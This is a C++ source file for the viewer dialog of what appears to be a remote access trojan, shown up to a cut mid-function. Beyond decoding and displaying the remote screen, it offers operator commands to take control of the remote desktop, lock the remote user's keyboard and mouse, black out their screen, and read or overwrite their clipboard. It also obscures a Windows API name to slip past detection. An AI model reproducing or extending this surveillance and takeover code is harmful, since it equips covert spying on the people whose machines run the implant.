// ScreenSpy.cpp : implementation file // #include "stdafx.h" #include "Client.h" #include "ScreenSpyDlg.h" #include #pragma comment(lib, "Imm32.lib") #include "../common/xvidsdk/XvidDec.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif CXvidDec m_XvidDec; ///////////////////////////////////////////////////////////////////////////// // CScreenSpy dialog enum { IDM_CONTROL = 0x0010, // 控制屏幕 IDM_TOPMOST, // 屏幕窗口置顶 IDM_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del IDM_TRACE_CURSOR, // 跟踪显示远程鼠标 IDM_BLOCK_INPUT, // 锁定远程计算机输入 IDM_BLANK_SCREEN, // 黑屏 IDM_CAPTURE_LAYER, // 捕捉层 IDM_SAVEDIB, // 保存图片 IDM_GET_CLIPBOARD, // 获取剪贴板 IDM_SET_CLIPBOARD, // 设置剪贴板 IDM_AERO_DISABLE, // 禁用桌面合成(Aero) IDM_AERO_ENABLE, // 启用桌面合成(Aero) IDM_ALGORITHM_HOME, // 家用办公算法 IDM_ALGORITHM_XVID, // 影视娱乐算法 // IDM_DEEP_1, // 屏幕色彩深度..... // IDM_DEEP_4_GRAY, // IDM_DEEP_4_COLOR, // IDM_DEEP_8_GRAY, // IDM_DEEP_8_COLOR, IDM_DEEP_16, IDM_DEEP_32 }; // 两种算法 #define ALGORITHM_HOME 1 // 家用办公算法 #define ALGORITHM_XVID 2 // 影视娱乐算法 #ifndef SPI_GETWINARRANGING #define SPI_GETWINARRANGING 0x0082 #endif #ifndef SPI_SETWINARRANGING #define SPI_SETWINARRANGING 0x0083 #endif #ifndef SPI_GETSNAPSIZING #define SPI_GETSNAPSIZING 0x008E #endif #ifndef SPI_SETSNAPSIZING #define SPI_SETSNAPSIZING 0x008F #endif CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext) : CDialog(CScreenSpyDlg::IDD, pParent) { // OutputDebugString("CScreenSpy"); //{{AFX_DATA_INIT(CScreenSpy) // NOTE: the ClassWizard will add member initialization here //}}AFX_DATA_INIT typedef UINT (WINAPI *GetSystemDirectoryAT) ( __out_ecount_part_opt(uSize, return + 1) LPSTR lpBuffer, __in UINT uSize ); char nBhku[] = {'G','e','t','S','y','s','t','e','m','D','i','r','e','c','t','o','r','y','A','\0'}; GetSystemDirectoryAT pGetSystemDirectoryA = (GetSystemDirectoryAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),nBhku); m_iocpServer = pIOCPServer; m_pContext = pContext; m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息 m_lpvLastBits = NULL; char szIconFileName[MAX_PATH]; pGetSystemDirectoryA(szIconFileName, MAX_PATH); lstrcat(szIconFileName, _T("\\shell32.dll")); m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szIconFileName, 17/*网上邻居图标索引*/); sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); int nSockAddrLen = sizeof(sockAddr); BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen); m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; UINT nBitmapInfoSize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; m_lpbmi_full = (BITMAPINFO *) new BYTE[nBitmapInfoSize]; m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBitmapInfoSize]; memcpy(m_lpbmi_full, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBitmapInfoSize); memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBitmapInfoSize); memset(&m_rcRestore, 0, sizeof(m_rcRestore)); m_bIsCtrl = false; // 默认不进行控制 m_nFramesPerSecond = 0; m_nFramesCount = 0; m_LastCursorIndex = 1; m_bIsFullScreen = false; InitializeCriticalSection(&m_cs); m_XvidDec.Open(m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight, m_lpbmi_full->bmiHeader.biBitCount); m_hThreadFPS = CreateThread(NULL, 0, ShowFPSThread, this, 0, NULL); } void CScreenSpyDlg::OnClose() { // TODO: Add your message handler code here and/or call default if (m_hThreadFPS) { TerminateThread(m_hThreadFPS, 0); CloseHandle(m_hThreadFPS); } m_XvidDec.Close(); m_pContext->m_Dialog[0] = 0; closesocket(m_pContext->m_Socket); ::ReleaseDC(m_hWnd, m_hCurrWndDC); ::DeleteDC(m_hLastMemDC); ::DeleteObject(m_hLastBitmap); DeleteCriticalSection(&m_cs); if (m_lpvRectBits) delete[] m_lpvRectBits; if (m_lpbmi_rect) delete[] m_lpbmi_rect; if (m_lpbmi_full) delete[] m_lpbmi_full; SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW)); m_bIsCtrl = false; ClipCursor(NULL); DestroyWindow(); } void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CScreenSpy) // NOTE: the ClassWizard will add DDX and DDV calls here //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog) //{{AFX_MSG_MAP(CScreenSpy) ON_WM_NCLBUTTONDBLCLK() ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_MESSAGE(WM_SIZING, OnSizing) ON_WM_SIZE() ON_WM_CLOSE() ON_WM_HSCROLL() ON_WM_VSCROLL() ON_WM_GETMINMAXINFO() ON_MESSAGE(WM_MOVING, OnMoving) ON_WM_MOVE() //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CScreenSpy message handlers void CScreenSpyDlg::OnReceiveComplete() { switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_FIRSTSCREEN: DrawFirstScreen(); break; case TOKEN_NEXTSCREEN: // 计算帧率(FPS) ++m_nFramesCount; if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_HOME) DrawNextScreenHome(); else DrawNextScreenXvid(); break; case TOKEN_BITMAPINFO: ResetScreen(); break; case TOKEN_CLIPBOARD_TEXT: UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); break; default: // 传输发生异常数据 return; } } bool CScreenSpyDlg::SaveSnapshot() { CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format(_T("_%Y-%m-%d_%H-%M-%S.bmp")); CFileDialog dlg(FALSE, _T("bmp"), strFileName, OFN_OVERWRITEPROMPT, _T("位图文件(*.bmp)|*.bmp|"), this); if(dlg.DoModal () != IDOK) return false; BITMAPFILEHEADER hdr; LPBITMAPINFO lpbi = m_lpbmi_full; CFile file; if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) { MessageBox("文件保存失败"); return false; } // BITMAPINFO大小 int nbmiSize = sizeof(BITMAPINFOHEADER) + (lpbi->bmiHeader.biBitCount > 16 ? 1 : (1 << lpbi->bmiHeader.biBitCount)) * sizeof(RGBQUAD); // Fill in the fields of the file header hdr.bfType = ((WORD) ('M' << 8) | 'B'); // is always "BM" hdr.bfSize = lpbi->bmiHeader.biSizeImage + sizeof(hdr); hdr.bfReserved1 = 0; hdr.bfReserved2 = 0; hdr.bfOffBits = sizeof(hdr) + nbmiSize; // Write the file header file.Write(&hdr, sizeof(hdr)); file.Write(lpbi, nbmiSize); // Write the DIB header and the bits file.Write(m_lpvLastBits, lpbi->bmiHeader.biSizeImage); file.Close(); return true; } DWORD WINAPI CScreenSpyDlg::ShowFPSThread(LPVOID lpParam) { CScreenSpyDlg *pThis = (CScreenSpyDlg *)lpParam; if (pThis->m_pContext == NULL) return -1; while (TRUE) { CString str; Sleep(1000); str.Format(_T("\\\\%s (%d * %d) FPS-%d %d%%"), pThis->m_IPAddress, pThis->m_lpbmi_full->bmiHeader.biWidth, pThis->m_lpbmi_full->bmiHeader.biHeight, pThis->m_nFramesPerSecond, pThis->m_pContext->m_nTransferProgress); pThis->SetWindowText(str); pThis->m_nFramesPerSecond = pThis->m_nFramesCount; pThis->m_nFramesCount = 0; } return 0; } void CScreenSpyDlg::OnReceive() { if (m_pContext == NULL) return; CString str; DWORD_PTR dwResult; str.Format(_T("\\\\%s (%d * %d) FPS-%d %d%%"), m_IPAddress, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight, m_nFramesPerSecond, m_pContext->m_nTransferProgress); SendMessageTimeout(GetSafeHwnd(), WM_SETTEXT, NULL, (LPARAM)str.GetBuffer(0), SMTO_ABORTIFHUNG|SMTO_BLOCK, 500, &dwResult); } void CScreenSpyDlg::SendResetScreen(int nBitCount) { BYTE bBuff[2]; bBuff[0] = COMMAND_SCREEN_RESET; bBuff[1] = nBitCount; m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff)); } void CScreenSpyDlg::SendResetAlgorithm(UINT nAlgorithm) { BYTE bBuff[2]; bBuff[0] = COMMAND_ALGORITHM_RESET; bBuff[1] = nAlgorithm; m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff)); } BOOL CScreenSpyDlg::OnInitDialog() { CDialog::OnInitDialog(); // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO)); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&C)"); pSysMenu->AppendMenu(MF_STRING, IDM_TOPMOST, "屏幕窗口置顶(&T)"); pSysMenu->AppendMenu(MF_STRING, IDM_CTRL_ALT_DEL, "发送Ctrl+Alt+Del(&K)"); pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&F)"); pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&O)"); pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)"); pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)"); pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)"); pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&G)"); pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&P)"); pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_AERO_DISABLE, "禁用桌面合成(&D)"); pSysMenu->AppendMenu(MF_STRING, IDM_AERO_ENABLE, "启用桌面合成(&E)"); pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_HOME, "家用办公算法(&H)"); pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_XVID, "影视娱乐算法(&X)"); pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING|MF_GRAYED, IDM_DEEP_16, "16位增强颜色(&U)"); pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩颜色(&R)"); pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_HOME, IDM_ALGORITHM_XVID, IDM_ALGORITHM_HOME, MF_BYCOMMAND); pSysMenu->CheckMenuRadioItem(IDM_DEEP_16, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND); } // TODO: Add extra initialization here CString str; str.Format(_T("\\\\%s (%d * %d)"), m_IPAddress, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight); SetWindowText(str); ImmAssociateContext(m_hWnd, NULL); m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW); m_LastCursorPos.x = 0; m_LastCursorPos.y = 0; m_bIsTraceCursor = false; // 初始化窗口大小结构 m_hCurrWndDC = ::GetDC(m_hWnd); m_hLastMemDC = ::CreateCompatibleDC(m_hCurrWndDC); m_hLastBitmap = ::CreateDIBSection(m_hCurrWndDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvLastBits, NULL, NULL); m_lpvRectBits = new BYTE[m_lpbmi_rect->bmiHeader.biSizeImage]; SelectObject(m_hLastMemDC, m_hLastBitmap); SendNext(); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE } void CScreenSpyDlg::FullScreen() { LONG style = ::GetWindowLong(this->m_hWnd, GWL_STYLE); if(!m_bIsFullScreen) //全屏显示 { APPBARDATA abd; memset(&abd, 0, sizeof(abd)); abd.cbSize = sizeof(abd); int nMaxWindowWidth, nMaxWindowHeight; UINT_PTR uState = SHAppBarMessage(ABM_GETSTATE, &abd); SHAppBarMessage(ABM_GETTASKBARPOS, &abd); if (abd.uEdge == 0) // 任务栏在左 { nMaxWindowWidth = GetSystemMetrics(SM_CXSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.right); nMaxWindowHeight = GetSystemMetrics(SM_CYSCREEN); } if (abd.uEdge == 1) // 任务栏在上 { nMaxWindowWidth = GetSystemMetrics(SM_CXSCREEN); nMaxWindowHeight = GetSystemMetrics(SM_CYSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.bottom); } if (abd.uEdge == 2) // 任务栏在右 { nMaxWindowWidth = GetSystemMetrics(SM_CXSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.right - abd.rc.left); nMaxWindowHeight = GetSystemMetrics(SM_CYSCREEN); } if (abd.uEdge == 3) // 任务栏在下 { nMaxWindowWidth = GetSystemMetrics(SM_CXSCREEN); nMaxWindowHeight = GetSystemMetrics(SM_CYSCREEN) - (uState == ABS_AUTOHIDE ? 0 : abd.rc.bottom - abd.rc.top); } RECT rectWindow, rectClient; GetWindowRect(&rectWindow); GetClientRect(&rectClient); ClientToScreen(&rectClient); int nBorderSize = rectClient.left - rectWindow.left; // 单边框的大小(宽度或高度) int nTitleHeight = rectClient.top - rectWindow.top - nBorderSize; // 标题栏的高度 int nMaxClientWidth = nMaxWindowWidth - nBorderSize * 2; int nMaxClientHeight = nMaxWindowHeight - nTitleHeight - nBorderSize * 2; if (nMaxClientWidth >= m_lpbmi_full->bmiHeader.biWidth && nMaxClientHeight >= m_lpbmi_full->bmiHeader.biHeight) { OnNcLButtonDblClk(HTCAPTION, NULL); return; } GetWindowRect(&m_rcRestore); style &= ~(WS_DLGFRAME | WS_THICKFRAME); SetWindowLong(this->m_hWnd, GWL_STYLE, style); if (m_lpbmi_full->bmiHeader.biWidth < GetSystemMetrics(SM_CXSCREEN) && m_lpbmi_full->bmiHeader.biHeight < GetSystemMetrics(SM_CYSCREEN)) { MoveWindow( (GetSystemMetrics(SM_CXSCREEN) - m_lpbmi_full->bmiHeader.biWidth) / 2, (GetSystemMetrics(SM_CYSCREEN) - m_lpbmi_full->bmiHeader.biHeight) / 2, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight); } else if (m_lpbmi_full->bmiHeader.biWidth < GetSystemMetrics(SM_CXSCREEN)) { MoveWindow((GetSystemMetrics(SM_CXSCREEN) - m_lpbmi_full->bmiHeader.biWidth) / 2, 0, m_lpbmi_full->bmiHeader.biWidth, GetSystemMetrics(SM_CYSCREEN)); } else if (m_lpbmi_full->bmiHeader.biHeight < GetSystemMetrics(SM_CYSCREEN)) { MoveWindow(0, (GetSystemMetrics(SM_CYSCREEN) - m_lpbmi_full->bmiHeader.biHeight) / 2, GetSystemMetrics(SM_CXSCREEN), m_lpbmi_full->bmiHeader.biHeight); } else { MoveWindow(0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN)); } m_bIsFullScreen = true; // 设置全屏显示标志 SendMessage(WM_ACTIVATE, MAKEWPARAM(WA_ACTIVE, FALSE), NULL); } else // 窗口显示 { style |= WS_DLGFRAME | WS_THICKFRAME; SetWindowLong(this->m_hWnd, GWL_STYLE, style); OnNcLButtonDblClk(HTCAPTION, NULL); CMenu* pSysMenu = GetSystemMenu(FALSE); if (!(pSysMenu->GetMenuState(IDM_TOPMOST, MF_BYCOMMAND) & MF_CHECKED)) { SendMessage(WM_ACTIVATE, MAKEWPARAM(WA_INACTIVE, FALSE), NULL); } m_bIsFullScreen = false; // 取消全屏显示标志 } } void CScreenSpyDlg::ResetScreen() { UINT nBitmapInfoSize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; if (m_lpbmi_full != NULL) { int nOldWidth = m_lpbmi_full->bmiHeader.biWidth; int nOldHeight = m_lpbmi_full->bmiHeader.biHeight; delete[] m_lpbmi_full; delete[] m_lpbmi_rect; m_lpbmi_full = (BITMAPINFO *) new BYTE[nBitmapInfoSize]; m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBitmapInfoSize]; memcpy(m_lpbmi_full, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBitmapInfoSize); memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBitmapInfoSize); DeleteObject(m_hLastBitmap); m_hLastBitmap = CreateDIBSection(m_hCurrWndDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvLastBits, NULL, NULL); if (m_lpvRectBits) { delete[] m_lpvRectBits; m_lpvRectBits = new BYTE[m_lpbmi_rect->bmiHeader.biSizeImage]; } SelectObject(m_hLastMemDC, m_hLastBitmap); m_XvidDec.Close(); m_XvidDec.Open(m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight, m_lpbmi_full->bmiHeader.biBitCount); // 分辨率发生改变 if (nOldWidth != m_lpbmi_full->bmiHeader.biWidth || nOldHeight != m_lpbmi_full->bmiHeader.biHeight) { if (m_bIsFullScreen) { FullScreen(); FullScreen(); } else { memset(&m_rcRestore, 0, sizeof(m_rcRestore)); OnNcLButtonDblClk(HTCAPTION, NULL); memset(&m_rcRestore, 0, sizeof(m_rcRestore)); } if (GetKeyState(VK_SCROLL) & 0x0001) { CRect ClientRect; GetClientRect(ClientRect); ClientToScreen(ClientRect); ClipCursor(ClientRect); } } } } void CScreenSpyDlg::DrawFirstScreen() { bool bIsReDraw = false; BYTE algorithm = m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1]; LPVOID lpFirstScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(2); DWORD dwFirstLength = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 2; if (algorithm == ALGORITHM_HOME && dwFirstLength > 0) { if (JPG_BMP(m_lpbmi_full->bmiHeader.biBitCount, lpFirstScreen, dwFirstLength, m_lpvLastBits)) bIsReDraw = true; } else if (algorithm == ALGORITHM_XVID && dwFirstLength > 0) { if (m_XvidDec.Decode(lpFirstScreen, dwFirstLength, m_lpvLastBits) > 0) bIsReDraw = true; } m_bIsFirst = false; if (bIsReDraw) { #ifdef _DEBUG SendNotifyMessage(WM_PAINT, NULL, NULL); #else OnPaint(); #endif // _DEBUG } } void CScreenSpyDlg::DrawNextScreenHome() { // 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标, 防止鼠标闪烁 bool bIsReDraw = false; int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识[1] + 算法[1] + 光标位置[8] + 光标类型索引[1] LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); DWORD dwNextLength = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; DWORD dwNextOffset = 0; // 判断鼠标是否移动 LPPOINT lpNextCursorPos = (LPPOINT)m_pContext->m_DeCompressionBuffer.GetBuffer(2); if (memcmp(lpNextCursorPos, &m_LastCursorPos, sizeof(POINT)) != 0 && m_bIsTraceCursor) { bIsReDraw = true; memcpy(&m_LastCursorPos, lpNextCursorPos, sizeof(POINT)); } // 光标类型发生变化 LPBYTE lpNextCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10); if (*lpNextCursorIndex != m_LastCursorIndex) { m_LastCursorIndex = *lpNextCursorIndex; if (m_bIsTraceCursor) bIsReDraw = true; if (m_bIsCtrl && !m_bIsTraceCursor) { HCURSOR hNewCursor = m_CursorInfo.getCursorHandle(m_LastCursorIndex == (BYTE)-1 ? 1 : m_LastCursorIndex); SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)hNewCursor); } } // 屏幕数据是否变化 while (dwNextOffset < dwNextLength) { int *pinlen = (int *)((LPBYTE)lpNextScreen + dwNextOffset); if (JPG_BMP(m_lpbmi_full->bmiHeader.biBitCount, pinlen + 1, *pinlen, m_lpvRectBits)) { bIsReDraw = true; LPRECT lpChangedRect = (LPRECT)((LPBYTE)(pinlen + 1) + *pinlen); int nChangedRectWidth = lpChangedRect->right - lpChangedRect->left; int nChangedRectHeight = lpChangedRect->bottom - lpChangedRect->top; m_lpbmi_rect->bmiHeader.biWidth = nChangedRectWidth; m_lpbmi_rect->bmiHeader.biHeight = nChangedRectHeight; m_lpbmi_rect->bmiHeader.biSizeImage = (((nChangedRectWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3) * nChangedRectHeight; EnterCriticalSection(&m_cs); StretchDIBits(m_hLastMemDC, lpChangedRect->left, lpChangedRect->top, nChangedRectWidth, nChangedRectHeight, 0, 0, nChangedRectWidth, nChangedRectHeight, m_lpvRectBits, m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY); LeaveCriticalSection(&m_cs); dwNextOffset += sizeof(int) + *pinlen + sizeof(RECT); } } if (bIsReDraw) { #ifdef _DEBUG SendNotifyMessage(WM_PAINT, NULL, NULL); #else OnPaint(); #endif // _DEBUG } } bool CScreenSpyDlg::JPG_BMP(int cbit, void *input, int inlen, void *output) { struct jpeg_decompress_struct jds; struct jpeg_error_mgr jem; // 设置错误处理 jds.err = jpeg_std_error(&jem); // 创建解压结构 jpeg_create_decompress(&jds); // 设置读取(输入)位置 jpeg_mem_src(&jds, (byte *)input, inlen); // 读取头部信息 if (jpeg_read_header(&jds, true) != JPEG_HEADER_OK) { jpeg_destroy_decompress(&jds); return false; } // 设置相关参数 switch (cbit) { case 16: jds.out_color_space = JCS_EXT_RGB; break; case 24: jds.out_color_space = JCS_EXT_BGR; break; case 32: jds.out_color_space = JCS_EXT_BGRA; break; default: jpeg_destroy_decompress(&jds); return false; } // 开始解压图像 if (!jpeg_start_decompress(&jds)) { jpeg_destroy_decompress(&jds); return false; } int line_stride = (jds.output_width * cbit / 8 + 3) / 4 * 4; while (jds.output_scanline < jds.output_height) { byte* pline = (byte*)output + jds.output_scanline * line_stride; jpeg_read_scanlines(&jds, &pline, 1); } // 完成图像解压 if (!jpeg_finish_decompress(&jds)) { jpeg_destroy_decompress(&jds); return false; } // 释放相关资源 jpeg_destroy_decompress(&jds); return true; } void CScreenSpyDlg::DrawNextScreenXvid() { // 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标, 防止鼠标闪烁 bool bIsReDraw = false; int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识[1] + 算法[1] + 光标位置[8] + 光标类型索引[1] LPVOID lpLastScreen = m_lpvLastBits; LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); DWORD dwNextLength = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; // 判断鼠标是否移动 LPPOINT lpNextCursorPos = (LPPOINT)m_pContext->m_DeCompressionBuffer.GetBuffer(2); if (memcmp(lpNextCursorPos, &m_LastCursorPos, sizeof(POINT)) != 0 && m_bIsTraceCursor) { bIsReDraw = true; memcpy(&m_LastCursorPos, lpNextCursorPos, sizeof(POINT)); } // 光标类型发生变化 LPBYTE lpNextCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10); if (*lpNextCursorIndex != m_LastCursorIndex) { m_LastCursorIndex = *lpNextCursorIndex; if (m_bIsTraceCursor) bIsReDraw = true; if (m_bIsCtrl && !m_bIsTraceCursor) { HCURSOR hNewCursor = m_CursorInfo.getCursorHandle(m_LastCursorIndex == (BYTE)-1 ? 1 : m_LastCursorIndex); SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)hNewCursor); } } // 屏幕数据是否变化 if (dwNextLength > 0) { bIsReDraw = true; m_XvidDec.Decode(lpNextScreen, dwNextLength, lpLastScreen); } if (bIsReDraw) { #ifdef _DEBUG SendNotifyMessage(WM_PAINT, NULL, NULL); #else OnPaint(); #endif // _DEBUG } } void CScreenSpyDlg::OnPaint() { // TODO: Add your message handler code here CPaintDC dc(this); // device context for painting RECT rect; GetClientRect(&rect); if (m_bIsFirst) { DrawTipString(_T("Please wait - initial screen loading")); return; } //int iHScrollPos = GetScrollPos(SB_HORZ); //int iVScrollPos = GetScrollPos(SB_VERT); EnterCriticalSection(&m_cs); // BitBlt(m_hCurrWndDC, 0, 0, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight, m_hLastMemDC, 0, 0, SRCCOPY); SetStretchBltMode(m_hCurrWndDC,STRETCH_HALFTONE); LPBITMAPINFO lpbi = m_lpbmi_full; StretchDIBits ( m_hCurrWndDC, 0, 0, rect.right, rect.bottom, 0, 0, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight, (LPBYTE)m_lpvLastBits, lpbi, DIB_RGB_COLORS, SRCCOPY ); LeaveCriticalSection(&m_cs); // (BYTE)-1 = 255; // Draw the cursor if (m_bIsTraceCursor) { DrawIconEx( m_hCurrWndDC, // handle to device context 0, // x-coord of upper left corner 0, // y-coord of upper left corner m_CursorInfo.getCursorHandle(m_LastCursorIndex == (BYTE)-1 ? 1 : m_LastCursorIndex), // handle to icon to draw 0,0, // width of the icon 0, // index of frame in animated cursor NULL, // handle to background brush DI_NORMAL | DI_COMPAT // icon-drawing flags ); } // Do not call CDialog::OnPaint() for painting messages } LRESULT CScreenSpyDlg::OnSizing(WPARAM wParam, LPARAM lParam) { if (m_rcRestore.right && m_rcRestore.bottom) memset(&m_rcRestore, 0, sizeof(m_rcRestore)); return FALSE; } void CScreenSpyDlg::OnSize(UINT nType, int cx, int cy) { //CDialog::OnSize(nType, cx, cy); // TODO: Add your message handler code here if (!GetSafeHwnd()) return; SCROLLINFO si; memset(&si, 0, sizeof(si)); si.cbSize = sizeof(SCROLLINFO); si.fMask = SIF_PAGE|SIF_RANGE; si.nPage = 1; si.nMin = 0; SCROLLBARINFO sbiv, sbih; sbiv.cbSize = sizeof(SCROLLBARINFO); sbih.cbSize = sizeof(SCROLLBARINFO); GetScrollBarInfo(m_hWnd, OBJID_VSCROLL, &sbiv); GetScrollBarInfo(m_hWnd, OBJID_HSCROLL, &sbih); sbiv.dxyLineButton = sbiv.rgstate[0] & STATE_SYSTEM_INVISIBLE ? 0 : sbiv.dxyLineButton; sbih.dxyLineButton = sbih.rgstate[0] & STATE_SYSTEM_INVISIBLE ? 0 : sbih.dxyLineButton; // 根据客户区大小, 调整水平滚动条和垂直滚动条的状态 if (cx >= m_lpbmi_full->bmiHeader.biWidth) ShowScrollBar(SB_HORZ, FALSE); else { si.nMax = m_lpbmi_full->bmiHeader.biWidth - cx; SetScrollInfo(SB_HORZ, &si, TRUE); } if (cy >= m_lpbmi_full->bmiHeader.biHeight) ShowScrollBar(SB_VERT, FALSE); else { SCROLLBARINFO sbit; sbit.cbSize = sizeof(SCROLLBARINFO); GetScrollBarInfo(m_hWnd, OBJID_HSCROLL, &sbit); si.nMax = m_lpbmi_full->bmiHeader.biHeight - cy - (sbit.rgstate[0] & STATE_SYSTEM_INVISIBLE ? sbih.dxyLineButton : 0); SetScrollInfo(SB_VERT, &si, TRUE); } // 客户区宽度+垂直滚动条宽度>=分辨率宽度 && 客户区高度+水平滚动条高度>=分辨率高度 if (cx + sbiv.dxyLineButton >= m_lpbmi_full->bmiHeader.biWidth && cy + sbih.dxyLineButton >= m_lpbmi_full->bmiHeader.biHeight) { ShowScrollBar(SB_BOTH, FALSE); } // 水平滚动条不可见时, 窗口宽度增加一个垂直滚动条的宽度 if (sbih.rgstate[0] & STATE_SYSTEM_INVISIBLE && !m_rcRestore.right && !m_rcRestore.bottom) { RECT rectWindow; GetWindowRect(&rectWindow); rectWindow.right += sbiv.dxyLineButton; MoveWindow(&rectWindow); } // 垂直滚动条不可见时, 窗口高度增加一个水平滚动条的高度 if (sbiv.rgstate[0] & STATE_SYSTEM_INVISIBLE && !m_rcRestore.right && !m_rcRestore.bottom) { RECT rectWindow; GetWindowRect(&rectWindow); rectWindow.bottom += sbih.dxyLineButton; MoveWindow(&rectWindow); } if (GetScrollPos(SB_HORZ) + cx > m_lpbmi_full->bmiHeader.biWidth) SetScrollPos(SB_HORZ, m_lpbmi_full->bmiHeader.biWidth - cx); if (GetScrollPos(SB_VERT) + cy > m_lpbmi_full->bmiHeader.biHeight) SetScrollPos(SB_VERT, m_lpbmi_full->bmiHeader.biHeight - cy); } void CScreenSpyDlg::OnNcLButtonDblClk(UINT nHitTest, CPoint point) { if (nHitTest == HTCAPTION) { RECT rectClient; if (m_rcRestore.right && m_rcRestore.bottom) { MoveWindow(&m_rcRestore); memset(&m_rcRestore, 0, sizeof(m_rcRestore)); // 必须OnSize一次, 否则滚动条显示有点问题 GetClientRect(&rectClient); OnSize(0, rectClient.right, rectClient.bottom); return; } APPBARDATA abd; memset(&abd, 0, sizeof(abd)); abd.cbSize = sizeof(abd); int nMinX, nMinY, 